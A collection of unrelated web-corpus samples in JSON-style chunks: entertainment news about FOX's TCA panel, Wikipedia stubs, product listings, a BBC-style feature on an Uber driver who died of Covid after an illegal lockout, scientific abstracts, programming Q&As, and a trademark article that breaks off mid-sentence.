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[ "FOX president talks Mariah Carey, ‘Fringe’\n\nFOX’s President of Entertainment, Kevin Reilly, got the network portion of the Television Critics Association summer tour to a positive start. ", "The TV executive has every right to be positive as FOX has had ratings hits with shows like “American Idol” and “The X-Factor.” ", "The network failed to make any waves in the drama category of the recent Emmy nominations. ", "He wouldn’t say which new shows had the potential to change that next year but expects FOX to see more success with its dramas.", "\n\nDuring his announcement that Mariah Carey would become a judge on “American Idol,” Reilly called the singer and put her on speaker. ", "Carey said, “I am so excited to be doing ‘Idol.’ ", "First of all, I wanted to be there today, and I wish I could have been there myself to tell you, but I think you know the show just sort of just happened quickly. ", "So I can’t wait to get started in a couple months, and everybody have a great TCA, and I will see you in January.”", "\n\nHere are a few other highlights from Reilly’s meeting with the TV critics:\n\nOn the upcoming season of “Glee”: “Now that I’ve read the first three scripts, I am very happy with how seamless it is. ", "There’s going to be thematic links between the two. ", "Although we have not severed relationships with anyone, obviously we’re not going to be servicing that large a tapestry of characters. ", "We are adding some characters in New York. ", "We’ve cast two guys already, one in New York, one in Ohio. ", "We have fresh faces joining Ohio, so this is sort of the natural, almost a mirror of real life that people graduate and new faces come in. ", "But I think also like real life, this is set in a small town in Ohio with very important and close relationships. ", "Just as in real life, people tend to not stray too far away from that. ", "Some people settle down in their hometowns. ", "Some people go away, but they come back for holidays. ", "They come back for reunions. ", "And because we have a very good relationship with all the actors, some of whom have very vibrant careers now on the outside, the idea is to kind of keep that relationship where it can be fluid and for the audience in terms of who is going to show up when.”", "\n\nOn giving “Fringe” one final season: “I don’t like to just pull the plug on any show, because many of our failed shows, most of them have many, many millions of fans. ", "But ‘Fringe’ has a particular fan base. ", "We have a checkered history with genre at best because we’re one of the only networks that has consistently tried genre. ", "Genre is hard. ", "It’s been a really contemporary show for which most of the fans are there, but they’re there on their DVRs. ", "I’m hoping this puts to bed the ‘ghost of Comic Con’ sentiment, if you will, which is, ‘Damn you, FOX. ", "You put these shows on and then break our hearts.’ ", "I think, at least hopefully, we’ve got a little bit of cred for seeing one through that really deserved it.”", "\n\nOn the affect of DVRs on ratings: “All of the top shows tend to shift in proportion. ", "So what you’re seeing right now is the penetration of DVRs particularly, and the demo has now gotten around 50% and you’re watching people learn how to use them, and that’s the way they like to watch television. ", "So we’re not fighting that.”", "\n\nOn Britney Spears joining “The X Factor”: “I think they’re going to be surprised at just how feisty she is. ", "She is not afraid to lay it on the line. ", "She’s tough. ", "She knows what she’s doing. ", "She’s been around, she’s seen it all, and she definitely lays it on the line.”" ]

{ "pile_set_name": "Pile-CC" }

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[ "Le Châtelard, Savoie\n\nLe Châtelard is a commune in the Savoie department in the Auvergne-Rhône-Alpes region in south-eastern France.", "\n\nGeography\nThe village is located above the right bank of the Chéran, which flows northwestward through the middle of the commune.", "\n\nSee also\nCommunes of the Savoie department\n\nReferences\nINSEE\n\nCategory:Communes of Savoie" ]

{ "pile_set_name": "Wikipedia (en)" }

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[ "The Road Apples\n\nThe Road Apples were an American pop rock group from [Boston Massachusets].Their lead singer/guitarist was David Finnerty. ", "The other band members were Flip Morse (lead guitar and vocals), Bard Richmond (bass guitar and vocals), Jean-Do Sifantus (drums), and Chuck Eisenhardt (the original keyboard player, later replaced by Wally Baier). ", "The group charted two singles on the Billboard Hot 100 in the mid-1970s. ", "Their first single \"Let's Live Together\" rose to No. ", "35 on that chart. ", "A follow-up release \"Holding On\" b/w \"Good Lovin' Woman\" also entered the Hot 100 and rose to No. ", "77. ", "The Road Apples participated in the 'Partners of the Americas' program in 1976 and travelled to Colombia, in South America where they performed numerous free concerts for the people of Medellín and Cartegena.", "\n\nThe Road Apples lead singer and principal songwriter Finn Finnerty later formed 'The Joneses' and released a CD (Atlantic 1990) including a rock cover of \"Let's Live Together\".", "\n\nThe instrumental Version of their Song \"Let's Live Together\", was used as Backgroundmusic in a german Radiochartshow, called \"WDR Schlagerrallye\". ", "WDR = Westdeutscher Rundfunk (WestgermannBroadcast)\n\nReferences\n\nCategory:Musical groups from Wisconsin" ]

{ "pile_set_name": "Wikipedia (en)" }

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[ "Sphinx By Oriental Weavers Huntley 19108 Area Rug\n\nTraditional elements with modern themes and sophisticated colors highlight the Huntley Collection. ", "Handcrafted using only the finest New Zealand wools, each yarn is handspun to provide a look, feel, and texture only before seen in exclusive quality hand knotted rugs." ]

{ "pile_set_name": "Pile-CC" }

[ 0.000598275801166892, 0.0007473289733752608 ]

[ "Image copyright Mary Jayaseelan\n\nThe last time Mary Jayaseelan spoke to her husband Rajesh, he was about to be hooked up to a ventilator in a Covid ward.", "\n\nRajesh was being treated in Northwick Park Hospital in London, the city where he worked as an Uber driver for most of the year. ", "Mary was 5,000 miles away in their family home in Bangalore, India, with their two young sons. ", "Until that point he had repeatedly told her he would be fine, that he was feeling ill but she was not to worry, he'd get better - at 44 years old, he was young and otherwise healthy.", "\n\nBut on that call, he broke down and admitted: \"Mary, I'm feeling a bit scared.\"", "\n\nRajesh Jayaseelan died the following day.", "\n\nRajesh and Mary got married on 24 February 2014, and rented a home in Hulimavu, south Bangalore, that they shared with his 66-year-old mum. ", "For most of the year, Rajesh rented a room in Harrow, north London and drove an Uber vehicle in the city. ", "He'd work from late in the evening to the early hours of the morning - the busy hours - so he could save enough money to spend a few months with his family in India.", "\n\nHe enjoyed working as a driver, although he didn't realise that his precarious gig economy job would leave him vulnerable in the global health crisis that would later emerge.", "\n\n\"He'd been living in London on-and-off for 22 years, and would come back to India for a few months at a time,\" Mary says. \"", "He loved London. ", "He always used to talk to me about how beautiful London was, and so clean. ", "I've never been to London, so he would describe it to me.\"", "\n\nThey were very happy. ", "Rajesh loved his wife, and playing with their two sons, aged six and four. ", "When he wasn't in India he would video-call them every day.", "\n\n\"He was also a really good singer,\" Mary says, full of pride. \"", "He sang a lot of Hindi songs.\"", "\n\nHe was also a \"humble, gentle person\" his close friend Sunil Kumar adds. ", "Sunil and Rajesh first met in 2011 - they were both from Bangalore, so mutual friends there put them in touch when Sunil moved to the UK. ", "They would help each other navigate the UK's various bureaucratic systems, loaned each other small amounts of money when needed, and Sunil and his wife would have Rajesh over for meals at their home in Hertfordshire - sending him back with several days' worth of leftovers of delicious South Indian food.", "\n\nAlthough Rajesh loved London, he didn't plan to stay forever - he wanted to be reunited with his family in India. ", "Renting their home in Hulimavu was relatively expensive, so during his last stay in Bangalore at the end of 2019, he and his wife took out a loan and bought land to build their own home. ", "The loan was no problem, they thought - Rajesh would go back to London and put enough money aside to pay it off. ", "The next time he travelled to Bangalore, he told his wife, it would be for good.", "\n\nHe came back to London on 15 January. ", "Less than two weeks later, the first cases of coronavirus were reported in the UK.", "\n\nImage copyright Mary Jayaseelan Image caption Rajesh and Mary on their wedding day in February 2014\n\nAlthough the virus had reached Britain, at this point Rajesh wasn't too worried. ", "Shops and restaurants were still open, people were still going into work and then going out. ", "For everyone, including Uber drivers, it was business as usual, and not much changed for another month.", "\n\nThen March came around, and the virus was passing from person to person within the UK. ", "The number of cases - and, by now, deaths - was increasing every day. ", "People were told to self-isolate for seven days if they had any symptoms - even mild ones, such as a fever or a persistent cough.", "\n\nOn 23 March, Prime Minister Boris Johnson announced a nationwide lockdown lasting an initial three weeks, meaning that most businesses would close, and people would only be allowed outside for one form of exercise a day and for essential trips to the shops, unless they were considered \"essential\" workers.", "\n\nLike many Uber drivers, Rajesh continued to work at first, but he quickly developed flu-like symptoms and had to stop. ", "His last job was on 25 March - a drop-off at Heathrow Airport.", "\n\nHis symptoms became much worse, and he was admitted to the hospital with dehydration. ", "While there, he was tested for the coronavirus.", "\n\nIt came back positive.", "\n\nStaff told Rajesh to go home, self-isolate, and to come back if his symptoms got worse. ", "He did as he was told, and went home to his room. ", "But things were about to get even worse.", "\n\n\"The landlord sent Rajesh out of the house for something, and when he came back the landlord had changed the locks, so he couldn't get in,\" Mary says. \"", "He tried knocking on the door and asking the landlord to speak to him, but he wouldn't open the door.\"", "\n\nHis landlord didn't know about his positive diagnosis - but he told him that, as an Uber driver, he might bring the coronavirus back into the house, and that it wasn't a risk he was willing to take.", "\n\nWith nowhere else to turn, Rajesh was forced to sleep in his car for several nights.", "\n\n\"He had no food in there, nothing to eat at all,\" Mary says.", "\n\nAt this point he called his friend Sunil for advice.", "\n\nImage copyright Mary Jayaseelan\n\n\"That was the last call he made to me,\" Sunil says. \"", "He didn't go into details about what was happening to him, but because I work in the NHS, he was asking me questions like 'How safe are we', 'Is it better to go to India'… things like that. ", "He was asking me if I knew any routes, if there was any possible way he could go - he wanted to go to India and be with his family. ", "But by that time there was a complete lockdown in India too.\"", "\n\nSunil told him the best thing to do would be to stay at home, not to work, and to look into the financial support for self-employed workers the government had just announced, or the 14 days' assistance offered by Uber.", "\n\nRajesh agreed, and explained he needed to find a new place to live because his landlord said he was high risk. ", "But, Sunil says, he didn't say that he'd already been kicked out: \"He may have been embarrassed.\"", "\n\nRajesh then went back to trying to call his landlord to plead with him to let him stay. ", "There was no answer.", "\n\nAfter days of searching, he eventually found another room in a shared house in Harrow. ", "The new landlord made him pay £4,000 upfront - money he didn't have, and Mary says he had to borrow.", "\n\nWhat if this happens to me?", "\n\nIf your landlord kicks you out of your home without giving you notice, or locks you out of your home, it is likely to be an illegal eviction - a criminal offence in all UK nations.", "\n\nThis is still the case during the coronavirus pandemic. ", "Under the Coronavirus Act, notice periods for evictions have been extended to three months.", "\n\n\"This means that for most private and social tenants, even if they receive an eviction notice they're likely to have the legal right to stay in their home,\" Andy Parnell, helpline adviser for housing charity Shelter, tells the BBC.", "\n\nBut, he says, \"sadly there are some groups not protected by the recent changes to the evictions law, including lodgers with live-in landlords\".", "\n\n\"Lodgers have fewer rights than private renters with live-out landlords and landlords don't need to go to court to evict a lodger. ", "But they are required to provide reasonable notice before asking them to leave the property.\"", "\n\nPeople in Rajesh's situation should call the local council's homelessness team as soon as possible and all councils have an emergency out-of-hours number. ", "If you don't have anywhere to sleep, you should go to the council's office in person, bringing ID and any proof of immigration status with you.", "\n\nEarlier this month, Shelter also told renters in this situation to \"stay put\".", "\n\nOnce Rajesh was back indoors, he didn't want to risk being evicted again. ", "He hid himself away and avoided contact with his new landlord and all the other tenants, not even daring to try and cook a meal for himself. ", "His health became worse with every passing day. ", "The only social interaction he had were daily phone calls with his wife, where he would alternate between reassuring her that he would be fine, and crying.", "\n\nIt was during one of these calls that Mary noticed he was struggling to breathe.", "\n\n\"He was wheezing a lot in that room, and every day it was getting worse,\" she says. \"", "One night I told him to go to the hospital. ", "He didn't want to call an ambulance because he didn't want others there to know he was ill, in case he was evicted again.\"", "\n\nRajesh drove himself to the hospital, despite being severely out of breath. ", "When he got there he was diagnosed with pneumonia.", "\n\n\"The next morning he called me from the hospital for a video call - but when the children saw him they started crying because of how ill he was,\" Mary says. \"", "He turned off his video, and told me he didn't want them to remember him looking so unwell.\" ", "They would speak only a few more times.", "\n\nOn 11 April, the doctors caring for Rajesh called Mary and explained that he was in a critical state, and they didn't think his condition would improve. ", "They arranged a video call for her and the children to see him one final time; he was unconscious. ", "He died two hours later.", "\n\nWhile \"coronavirus doesn't discriminate\" has been repeated often during this pandemic, it is evident that the virus is worse for some than others. ", "One group hit particularly hard are gig economy workers.", "\n\nThe gig economy is where people take on short-term or freelance work instead of permanent jobs. ", "These include private-hire cab drivers like Rajesh as well as food delivery workers and couriers. ", "Last year about 4.7 million people in the UK worked in gig economy jobs while, according to a 2018 study, 60% of the global population is in insecure work.", "\n\nResearch by the World Economic Forum and other bodies shows these workers are disproportionately affected by the pandemic - a combination of being classified as \"essential\" workers, requiring them to continue interacting with strangers; a lack of guaranteed paid sick leave that makes it harder to self-isolate; low and insecure pay, making it more likely for them to be living in dangerous and insecure housing situations; and no entitlement to risk assessments or protective equipment.", "\n\nAyako Ebata, from the Institute of Development Studies, says because people in insecure work \"heavily rely on their daily wages\", they are under a lot of pressure not to lose their jobs or take time off, even when there are significant health risks.", "\n\n\"It's not because they're ignorant or uninformed, it's because the whole system is forcing them to make decisions that eventually prove detrimental to their livelihoods and health,\" she says.", "\n\nImage copyright Mary Jayaseelan\n\nDr Alex Wood, a sociologist at Oxford University focusing on the gig economy and insecure work, agrees - and says a lack of workplace protection makes the problem much worse.", "\n\n\"People have been told by these platforms that they don't need to worry about [rights and protections] because when the economy's fine, there isn't really any risk,\" he says. \"", "In reality, when you have these crises, it's the workers who pay - despite many of them now being classified as 'essential'.\"", "\n\nNow, drivers in the UK are calling for greater protection from the government. ", "United Private Hire Drivers (UPHD), an independent trade body for private-hire drivers, has this week called for an urgent judicial review on the matter.", "\n\n\"What the government is saying now is that it's not safe for you to go to a barbershop, but it's somehow safe for you to ride around in an Uber,\" James Farrar from the UPHD says.", "\n\nRace is a risk factor, too. ", "According to multiple recent studies, BAME people in the UK like Rajesh are disproportionately more likely to be in insecure work than their white counterparts.", "\n\nResearch from the Trade Union Congress (TUC) last year found that ethnic minority workers are a third more likely to be in insecure work. ", "A report released last month by Carnegie UK Trust, UCL and Operation Black Vote also found that BAME millennials in particular were 47% more likely to be on \"zero-hours\" contracts - another notoriously unstable form of work.", "\n\nAt the same time, recent studies show that BAME people in the UK are disproportionately more likely to become critically ill and to die from coronavirus. ", "Ethnic minority patients make up 34% of those in intensive care, despite making up only 13% of the population.", "\n\nEarly research suggests this is down to a combination of risk factors - an increased incidence of high-risk underlying health conditions, such as diabetes and hypertension, as well as social factors and systemic inequality.", "\n\n\"Coronavirus is making a lot of the inequalities in our society that we had previously turned a blind eye to, very clear,\" Dr Wood says.", "\n\nAfter learning that her son had died, Rajesh's mother became ill. ", "She suffered hypertension and a spike in her blood sugar level, and has been confined to her bed. \"", "She's been inconsolable since,\" Mary says.", "\n\nFaced with a loan for the house, upcoming medical bills and children's school fees, Mary is trying to find work as a cleaner in their area but the lockdown is making it much more difficult to get on top of their finances.", "\n\nSunil is helping them with money where he can, and has set up an online fundraiser for them. ", "He's also looking into whether he can pursue legal action against Rajesh's first landlord, and Mary's relatives in Bangalore have set up a fundraiser for her in India. ", "Uber also contacted the BBC to offer their condolences.", "\n\nBut more than anything, Mary is struggling to come to terms with how quickly everything has changed for her family.", "\n\n\"Now that Rajesh is gone, our life has become very difficult,\" she says. \"", "I don't know what we'll do without him.\"" ]

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[ "The effects of bronchodilators on spontaneous ventilation and oxygen consumption in rhesus monkeys.", "\nThe effects of breathing normal saline, salmeterol, fenoterol, ipratropium bromide, or formoterol, and of i.v. ", "infusion of theophylline on oxygen consumption (VO2), carbon dioxide production (VCO2), minute ventilation (VE), heart and respiratory rates, and end-tidal carbon dioxide tension (P(ET)CO2) have been defined in 10 anesthetized, intubated rhesus monkeys (mean age 7.0 y, weight 10.2 kg). ", "VO2 increased over control by + 17.1% after salmeterol (p < 0.001), +33.3% after fenoterol (p < 0.001), +23.7% after formoterol (p < 0.001), +3.9% after theophylline (p < 0.01), but did not change after ipratropium bromide and normal saline. ", "VE increased by 63.0% after fenoterol (p < 0.001), 49.8% after formoterol (p < 0.001), 31.7% after salmeterol (p < 0.01), and 29.7% after theophylline (p < 0.001), but not after ipratropium bromide or normal saline. ", "Heart rate response was greatest after fenoterol, formoterol, and salmeterol, respectively. ", "P(ET)CO2 dropped dramatically after theophylline (-15.7%, p < 0.001), but not at all with any of the inhaled beta2-adrenoceptor agonists. ", "In seven animals, salbutamol (albuterol) caused an increase in V(E) and VO2 of 50.1% and 45.9%, respectively, whereas in the presence of a beta2-adrenoceptor antagonist [racemic or (+/-)-propranolol (0.1 mg/kg i.v.)], ", "inhaled salbutamol (2.5 mg/mL for 10 min) could not increase V(E) (+6.2%, p > 0.05) and VO2 (+1.6%, p > 0.05). ", "The increase in VO2 and V(E) after administration of beta2-agonists may be partly the result of direct stimulation of the respiratory center and partly a response to increased metabolic rate. ", "The dramatic increase in VO2 and V(E) after salbutamol was suppressed in the presence of propranolol, which is consistent with a beta-receptor-mediated mechanism." ]

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[ "Air Conditioner Repairs\n\nAir Conditioner Repairs Brisbane\n\nIf you are after air conditioner repairs, Adshel Electrical and Air can provide you with the finest service around.", "We hope to keep your air con in optimal working condition so your power bills and family are looking and feeling healthy.", "\n\nWe can help repair:\n\nCommercial Systems\n\nResidential Systems\n\nInverter Wall Hung Split Systems\n\nDucted Systems\n\nEvaporative cooling\n\nMaintenance and repairs are essential in order to maximise the performance of all your cooling systems. ", "It’s not just about providing a band aid solution, but preventing system breakdowns by performing the routine checks that keep your air conditioning in peak working order.", "\n\nWe provide reliable assistance and a dedicated team of professionals that are happy to answer your questions regarding, Wall hung split systems, Ducted Units, Installations, repairs, electrical or system designss.", "\n\n“Adshel have been our first point of call for all electrical and air conditioning needs we have had within our business and personal lives. ", "They have been very prompt with exceptional service and doing whatever it takes to get the job done. ", "The quality and neatness of their work has been first class.”" ]

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[ "1 view • posted Saturday, March 17, 2012 @ 3:53pm UTC\n\nBolton's 23-year-old midfielder Fabrice Muamba collapsed in the 42nd minute of his side's FA Cup\nmatch against Tottenham on Saturday, prompting resuscitation efforts on the pitch as both teams and\nevery fan at White Hart Lane looked on in horror. ", "After Muamba, a husband and father of one, was\ncarried off while still undergoing treatment, the match was abandoned." ]

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[ "Meersburg\n\nMeersburg is a town in Baden-Württemberg in the southwest of Germany. ", "It is on Lake Constance.", "\n\nIt is known for its medieval city. ", "The lower town (\"Unterstadt\") and upper town (\"Oberstadt\") are reserved for pedestrians only, and connected by two stairways and a steep street (\"Steigstrasse\").", "\n\nHistory\nThe name of the town means \"Castle on the Sea\", referring to a castle which, according to a tradition from 1548, was built here in 630 by the Merovingian king Dagobert I.\n\nThe commune obtained the status of free city in 1299, though nominally still under the Bishop of Constance. ", "In 1803 it was annexed to the Land of Baden.", "\n\nAfter World War II, Meersburg was in the French military occupation area in Germany.", "\n\nMain sights\nThe town is home to two castles, the Old Castle and the New Castle. ", "The Old Castle, built by Merovingian King Dagobert I in the seventh century, is one of the oldest surviving castles in Germany. ", "It is in private ownership. ", "A self-guided tour is available. ", "German poet Annette von Droste-Hülshoff lived there for eight years and purchased the Prince's House. ", "The New Castle was built in the eighteenth century. ", "Originally the residence of the bishop of Constance, it was used for various purposes after the Secularization of 1803. ", "It is now a museum. ", "There is also an expanse of half-timbered houses, and two medieval town gates, which are the remains of the fortification.", "\n\nTransport\nMeersburg is the northern terminus of a car ferry to Constance. ", "At the opposite side Meersburg is connected to the region by the B 31, a large roadway that leads from Breisach (at the French border) to Lindau (at the Austrian border), bypassing largely all parts of Meersburg. ", "To exit to Meersburg and to go to the car ferry, one takes B 33 to Meersburg and Constance.", "\n\nMeersburg is also reachable by pleasure boats from Lake Constance to Überlingen (westward), to Lindau, Bregenz (eastward) and to Constance opposite.", "\n\nFamous people\n\nOne of Germany's most celebrated poets, Annette von Droste-Hülshoff, lived her final years at Meersburg Castle, from 1841–1848. ", "She also owned the small vine-covered villa known as Fürstenhäusle.", "\n\nThe famous eighteenth-century doctor Franz Anton Mesmer (from whose name the verb \"to mesmerize\" derives) died in 1815 in Meersburg and is buried near the old wall of the graveyard about northeast of the upper town-gate \"Obertor\" (see picture beneath).", "\n\nothers \n Stefan Lochner (c.1410–1451) German painter working in the late \"soft style\" of the International Gothic.", "\n Hugo von Hohenlandenberg (c.1457–1532 in Meersburg) Bishop of Konstanz.", "\n Hieronymus Harder (1523–1607) German botanist and teacher of Latin.", "\n Baron Joseph Maria Christoph von Lassberg (1770–1855) German antiquary, lived at Meersburg Castle from 1838.", "\n Friedrich August Walchner (1799–1865) German geologist, chemist and mineralogist.", "\n Levin Schücking (1814–1883) German novelist, lived at Meersburg Castle 1841/1843.", "\n Robert Eberle (1815–1862), German animal painter \n Fritz Mauthner (1849–1923 in Meersburg) Austro-Hungarian novelist, theatre critic, satirist, and exponent of philosophical skepticism.", "\n Markus Baur (born 1971) former German handball player now turned trainer.", "\n\nViticulture\nThe Meersburg vineyards at the northern banks of Lake Constance are famous within Germany. ", "The rosée \"Weissherbst\" wine is a specialty of the region.", "\n\nInternational relations\n\nMeersburg is twinned with:\n\n Hohnstein, Saxony, Germany – since 1991\n Louveciennes, France – since 1991\n San Gimignano, Italy – since 2002\n\nGallery\n\nReferences\n\n4. ", "New Mayor\n\nExternal links\n\n The official Meersburg homepage\n Meersburg-Webcam: 2 livecams show the historical marketplace\n Meersburg: history and images (in German)\n Meersburg: Pictures\n\nCategory:Populated places on Lake Constance\nCategory:Bodenseekreis\nCategory:Articles containing video clips" ]

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[ "Q:\n\nTrack numbered markers in a video\n\nI have a video which has frames as shown in my previous image in this question.", "\nHow do we detect points from a picture with a particular color on those points\nI detected these markers and numbered them as shown in the image given below:\n\nMy problem is as follows. ", "After I have detected markers in one frame I need to detect them in another frame and find out how much the marker has moved from its previous location. ", "However on using my code again on the second frame I sometimes in some frames get a different numbering among markers and hence I am not able to track markers from one image to another. ", "Also detecting the markers in each image becomes a cumbersome task and takes a lot of time for a video which has around 200 frames.", "\nHow can I track these markers over images so as to know how much a particular marker has moved between frames or simply how can I number these markers such that the numbering never changes viz, the marker numbered 60 remains marker number 60 from frame 1 to frame 200.", "\nAs a side question is there a way to actually decrease the processing time such that I don't have to detect the face and eyes in each and every frame (Please refer to the image given in the link in my previous question it makes things clearer).", "\n\nA:\n\nMy problem is as follows. ", "After I have detected markers in one frame I\n need to detect them in another frame and find out how much the marker\n has moved from its previous location. ", "However on using my code again\n on the second frame I sometimes in some frames get a different\n numbering among markers and hence I am not able to track markers from\n one image to another. ", "Also detecting the markers in each image becomes\n a cumbersome task and takes a lot of time for a video which has around\n 200 frames.", "\nHow can I track these markers over images so as to know how much a\n particular marker has moved between frames or simply how can I number\n these markers such that the numbering never changes viz, the marker\n numbered 60 remains marker number 60 from frame 1 to frame 200.", "\n\nMaybe consider using optical flow technique - http://robotics.stanford.edu/~dstavens/cs223b/ ?", "\nAlternatively try to divide your points cloud into smaller parts and than detect contours. ", "You can divide it using lines or by using this simple idea (not tested or analysed):\n\nFind convex hull of all points (http://en.wikipedia.org/wiki/Convex_hull_algorithms) from your point cloud.", "\nPoints which are on the border are in one group.", "\nAfter processing points from group from point 2, delete them.", "\nGo to point 1.", "\n\nAs a side question is there a way to actually decrease the processing time such that I don't have to detect the face and eyes in\n each and every frame\n\nThere are few easy things you can do to decrease processing time:\n\nDon't load haar cascade during processing each frame - load it only once, before starting getting frames from camera/video file.", "\nif need to find only one face in each frame, use CV_HAAR_FIND_BIGGEST_OBJECT flag - searching will return only one (the biggest) object. ", "It should be much faster, because search will start from the biggest window and additionally when haar detector find one object it will abort searching and return this object.", "\nplay with parameters and check different cascades\nonce you find face in frame number n than in frame number n+1 don't perform search in whole frame - expand rectangle in which you found face in n frame and search only in this expanded rectangle. ", "How much you should expand it? ", "It depends on how fast user can move his head ;) 50% is big tolerance, but also it's slow. ", "The best option is to find this value on your own.", "\nif your image won't change very much you can skip detecting face in most of frames and just assume that it's in the same place as in previous frame - just check whether frame has changed much. ", "The simplest method is Motion detection using OpenCV (as the author mentioned - it's good idea to use binary threshold on the result of subtraction to ignore changes occurring because of noise). ", "I've used this method in my BSc thesis (Eyetracking system) and it worked very well and improved speed of whole system. ", "Note - it's good idea to force normal (using haar cascade) search from time to time (i've decided to do this once per each 3 frames, but you can try with searching less often) - it will allow you to avoid situation in which used has moved outside camera area and the system didn't noticed it.", "\n\n" ]

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[ "Illegal Tender\n\nIllegal Tender can refer to:\n Illegal Tender (Louis XIV)\n Illegal Tender (film)" ]

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[ "This combo pack of Brother laser toner cartridges are professionally remanufactured by ColorTonerExpert.com, a Google Trusted Store and a leading web store of high quality remanufactured printer cartridges.", "\n\nThis combo pack includes Brother TN221BK, TN225C, TN225Y, TN225M (Black, Cyan, Magenta, Yellow) laser toner cartridges. ", "Our remanufactured laser toner cartridges are guaranteed to work with your printer. ", "Each of these toner cartridges was fully disassembled and rebuilt to ensure the highest quality prints. ", "We are not the same with most competitors that simply refill the toner cartridge and do not replace key components such as wiper blades, OPC drums and electronic chip. ", "We replace these key components with new ones to ensure that they will work well with your machine.", "\n\nPurchasing this combo pack of Brother laser toner cartridges is a great way to save money as these remanufactured cartridges were priced lower than brand new (OEM) cartridges. ", "Buying these laser toner cartridges will not void your printer’s warranty. ", "All our remanufactured toner cartridges are offered with 3 Year Money Back Guarantee. ", "Free Shipping on all orders $35+ within the continental US." ]

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[ "Testing superiority and non-inferiority hypotheses in active controlled clinical trials.", "\nSwitching between testing for superiority and non-inferiority has been an important statistical issue in the design and analysis of active controlled clinical trial. ", "In practice, it is often conducted with a two-stage testing procedure. ", "It has been assumed that there is no type I error rate adjustment required when either switching to test for non-inferiority once the data fail to support the superiority claim or switching to test for superiority once the null hypothesis of non-inferiority is rejected with a pre-specified non-inferiority margin in a generalized historical control approach. ", "However, when using a cross-trial comparison approach for non-inferiority testing, controlling the type I error rate sometimes becomes an issue with the conventional two-stage procedure. ", "We propose to adopt a single-stage simultaneous testing concept as proposed by Ng (2003) to test both non-inferiority and superiority hypotheses simultaneously. ", "The proposed procedure is based on Fieller's confidence interval procedure as proposed by Hauschke et al. (", "1999)." ]

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[ "Cloning and expression of SAG: a novel marker of cellular senescence.", "\nUnlike immortalized cell lines, normal human fibroblasts in culture undergo replicative senescence in which the number of population doublings is limited. ", "While fibroblasts display a variety of changes as they senesce in vitro, little is known about how gene expression varies as a function of population doubling level. ", "We have used differential hybridization screening to identify human genes that are preferentially expressed in senescent cells. ", "While we found several isolates that were up-regulated in late-passage cells, all appeared to be variants of the same cDNA, which we named senescence-associated gene (SAG). ", "Our data show that SAG expression is threefold higher in senescent fibroblasts and closely parallels the progressive slowdown in growth potential, but is not cell-cycle regulated. ", "Thus, SAG serves as an accurate marker for fibroblast growth potential during replicative senescence. ", "Further studies demonstrated that SAG is a novel gene active in nearly all tissue types tested and that it is conserved through evolution. ", "DNA sequencing data indicate that SAG contains a potential DNA-binding domain, suggesting that SAG may function as a regulatory protein." ]

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[ "Marius Bonnet\n\nMarius Bonnet (12 October 1921 – 26 July 2003) was a French racing cyclist. ", "He rode in the 1947 and 1948 Tour de France.", "\n\nReferences\n\nExternal links\n\nCategory:1921 births\nCategory:2003 deaths\nCategory:French male cyclists\nCategory:Sportspeople from Marseille\nCategory:Tour de France cyclists" ]

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[ "Q:\n\nStructureMap Exception Code: 202 No Default Instance defined\n\nWhen I register the following in SM and then attempt to create an instance I get the exception - 'StructureMap Exception Code: 202 No Default Instance defined for PluginFamily...'\nScan(x =>\n {\n x.Assembly(\"MVCDemo\");\n x.Assembly(\"MVCDemo.", "Infrastructure\");\n x.Assembly(\"MVCDemo.", "Services\");\n\n x.AddAllTypesOf(typeof (IRepository<>));\n });\n\n ForRequestedType<IRepository<Employee>>().TheDefault.", "Is.", "ConstructedBy(() => new EmployeeRepository());\n\n var tmp4 = ObjectFactory.", "GetInstance<IRepository<Employee>>();\n\nThe exception occurs when I try and get an instance of IRepository.", "\nDoes anyone know what I'm missing?", "\nCheers\nOllie\n\nA:\n\nThe answer is I shouldn't use ObjectFactory to create instance, I should use the container:\nvar container = new Container(new MvcDemoRegistry());\nvar cultureProvider = container.", "GetInstance<IProvideCultureInfo>();\n\nTa\nOllie\n\n" ]

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[ "A court in Plymouth, England has given a St. Budeaux man a conditional discharge after authorities said that he exposed himself to a 5-year-old girl and other shoppers in the process of urinating in flower beds “while making noises like an elephant.”", "\n\nThis is Plymouth on Friday reported that Plymouth magistrates were told that 48-year-old Robert Moore was arrested for urinating in public view outside a café, even though restrooms were available nearby.", "\n\nADVERTISEMENT\n\n“He was spraying urine to and fro into the flower beds while making noises like an elephant,” prosecutor Jenny Cater explained to the court.", "\n\nCater said that a couple with a 5-year-old daughter had become “shocked and distressed” after witnessing the incident and reported it to police.", "\n\n“For many years he has had a raging alcohol problem but he seems to have turned the matter around,” solicitor Stephen Walker said in defense of Moore.", "\n\nMoore was ordered to pay about $80 in court costs and given a 12-month conditional discharge while he continues treatment for alcoholism.", "\n\n[Photo: Shutterstock.com]\n\nADVERTISEMENT\n\n(h/t: Jonathan Turley)" ]

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[ "A boy, a dog, and a nickname: that’s how the trademark dispute between Duke University and the estate of iconic actor John Wayne began.", "\n\nWhen Marion Morrison was a child in the early 1900s, his family owned an 80-pound Airedale Terrier named Big Duke. ", "Young Marion disliked his own given name but reveled in the nickname his family bestowed upon him: “Little Duke.” ", "The childhood epithet evolved into the eventual high school persona, “Duke Morrison.”", "\n\nBy the time Morrison’s acting career took flight, his name had changed once again, this time to “John Wayne.” ", "The moniker stuck throughout the years, but as Wayne himself once said, “Anyone who calls me John doesn’t know me.”", "\n\nThe Duke Abides\n\nIndeed, to those who knew him best, Marion Morrison was Duke. ", "And Duke loved his libations. ", "That’s one reason Ethan Wayne, the late actor’s son, sought to realize his father’s “unfulfilled dream of distilling fine spirits” by branding “The DUKE” Kentucky Straight Bourbon, a product featuring his dad’s image and signature on the label.", "\n\nFrom the family’s point of view, the bourbon was a brilliant business idea and a sweet way to commemorate the late actor. ", "However, a prestigious North Carolina university with its own trademark agenda had a different take on the situation. ", "Here are both sides of the controversy and some key takeaways for small businesses and marketers interested in establishing their own trademarked brand.", "\n\nStepping on Duke University’s Toes\n\nAs it turns out, America holds another Duke close to its heart: Duke University. ", "When college executives got wind of the Wayne family’s plan to trademark their bourbon as “The DUKE,” they promptly filed an objection, saying that they would not “permit the use” of logos similar to their own in the sale of “unapproved goods or services.”", "\n\nJohn Wayne’s heirs likely anticipated Duke University’s disapproval, but budding entrepreneurs often fail to think ahead like this. ", "Often, a small amount of research on trademarks held by other companies will prevent a world of hurt later on.", "\n\nKey Takeaway: Businesses are protective of their trademarks. ", "Entrepreneurs who do not conduct an initial trademark search could unwittingly “step on the toes” of an existing trademarked business and face legal problems.", "\n\nWayne Family Defense: “You Don’t Own the Word Duke”\n\nThe Wayne family acknowledged Duke University’s right to advertise products under its 